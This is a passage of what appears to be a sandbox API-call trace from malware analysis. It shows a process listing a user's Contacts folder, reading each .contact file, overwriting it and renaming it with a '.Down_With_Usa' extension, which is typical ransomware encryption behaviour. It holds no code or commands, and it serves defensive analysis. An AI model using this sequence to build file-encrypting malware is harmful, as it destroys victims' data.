[0117.521] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1
[0117.521] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1
[0117.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.522] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0117.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0117.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0117.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", lpFilePart=0x0) returned 0x26
[0117.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\", lpFilePart=0x0) returned 0x27
[0117.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1
[0117.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1
[0117.524] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1
[0117.525] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1
[0117.525] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0117.526] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1
[0117.526] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1
[0117.527] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0
[0117.528] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0117.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0117.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e
[0117.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.543] GetFileType (hFile=0x3a8) returned 0x1
[0117.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.544] GetFileType (hFile=0x3a8) returned 0x1
[0117.545] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x49a
[0117.571] ReadFile (in: hFile=0x3a8, lpBuffer=0x2697d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2697d60*, lpNumberOfBytesRead=0x2ebe58*=0x49a, lpOverlapped=0x0) returned 1
[0117.573] CloseHandle (hObject=0x3a8) returned 1
[0117.653] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e
[0117.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.655] GetFileType (hFile=0x3a8) returned 0x1
[0117.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.655] GetFileType (hFile=0x3a8) returned 0x1
[0117.655] WriteFile (in: hFile=0x3a8, lpBuffer=0x2785ed0*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2ebd78, lpOverlapped=0x0 | out: lpBuffer=0x2785ed0*, lpNumberOfBytesWritten=0x2ebd78*=0x4a0, lpOverlapped=0x0) returned 1
[0117.657] CloseHandle (hObject=0x3a8) returned 1
[0117.659] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact", lpFilePart=0x0) returned 0x3e
[0117.659] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0117.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0117.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x229a64c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1
[0117.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.660] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.down_with_usa")) returned 1
[0117.661] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c
[0117.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.662] GetFileType (hFile=0x3a8) returned 0x1
[0117.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.662] GetFileType (hFile=0x3a8) returned 0x1
[0117.662] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x10b1e
[0117.662] ReadFile (in: hFile=0x3a8, lpBuffer=0x2787360, nNumberOfBytesToRead=0x10b1e, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2787360*, lpNumberOfBytesRead=0x2ebe58*=0x10b1e, lpOverlapped=0x0) returned 1
[0117.701] CloseHandle (hObject=0x3a8) returned 1
[0117.748] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c
[0117.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.750] GetFileType (hFile=0x3a8) returned 0x1
[0117.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.750] GetFileType (hFile=0x3a8) returned 0x1
[0117.750] WriteFile (in: hFile=0x3a8, lpBuffer=0x26b33b0*, nNumberOfBytesToWrite=0x10b20, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x26b33b0*, lpNumberOfBytesWritten=0x2ebec8*=0x10b20, lpOverlapped=0x0) returned 1
[0117.753] CloseHandle (hObject=0x3a8) returned 1
[0117.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact", lpFilePart=0x0) returned 0x3c
[0117.755] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0117.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0117.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x22a8ad00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10b20)) returned 1
[0117.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.756] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.down_with_usa")) returned 1
[0117.756] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c
[0117.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.757] GetFileType (hFile=0x3a8) returned 0x1
[0117.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.757] GetFileType (hFile=0x3a8) returned 0x1
[0117.757] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x493
[0117.757] ReadFile (in: hFile=0x3a8, lpBuffer=0x26c4968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26c4968*, lpNumberOfBytesRead=0x2ebe58*=0x493, lpOverlapped=0x0) returned 1
[0117.759] CloseHandle (hObject=0x3a8) returned 1
[0117.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c
[0117.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.791] GetFileType (hFile=0x3a8) returned 0x1
[0117.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.791] GetFileType (hFile=0x3a8) returned 0x1
[0117.792] WriteFile (in: hFile=0x3a8, lpBuffer=0x27b2ae0*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2ebd78, lpOverlapped=0x0 | out: lpBuffer=0x27b2ae0*, lpNumberOfBytesWritten=0x2ebd78*=0x4a0, lpOverlapped=0x0) returned 1
[0117.793] CloseHandle (hObject=0x3a8) returned 1
[0117.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", lpFilePart=0x0) returned 0x3c
[0117.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0117.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0117.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x22afd120, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4a0)) returned 1
[0117.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0117.795] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.down_with_usa")) returned 1
[0117.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b
[0117.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0117.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.798] GetFileType (hFile=0x3a8) returned 0x1
[0117.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0117.798] GetFileType (hFile=0x3a8) returned 0x1
[0117.798] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x499
[0117.798] ReadFile (in: hFile=0x3a8, lpBuffer=0x27b4410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27b4410*, lpNumberOfBytesRead=0x2ebe58*=0x499, lpOverlapped=0x0) returned 1
[0117.801] CloseHandle (hObject=0x3a8) returned 1
[0117.843] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b
[0117.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0117.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.844] GetFileType (hFile=0x3a8) returned 0x1
[0117.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0117.844] GetFileType (hFile=0x3a8) returned 0x1
[0117.844] WriteFile (in: hFile=0x3a8, lpBuffer=0x2691c30*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x2ebd78, lpOverlapped=0x0 | out: lpBuffer=0x2691c30*, lpNumberOfBytesWritten=0x2ebd78*=0x4a0, lpOverlapped=0x0) returned 1
[0117.845] CloseHandle (hObject=0x3a8) returned 1
[0117.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", lpFilePart=0x0) returned 0x3b
[0117.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.Down_With_Usa", lpFilePart=0x0) returned 0x49
[0117.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
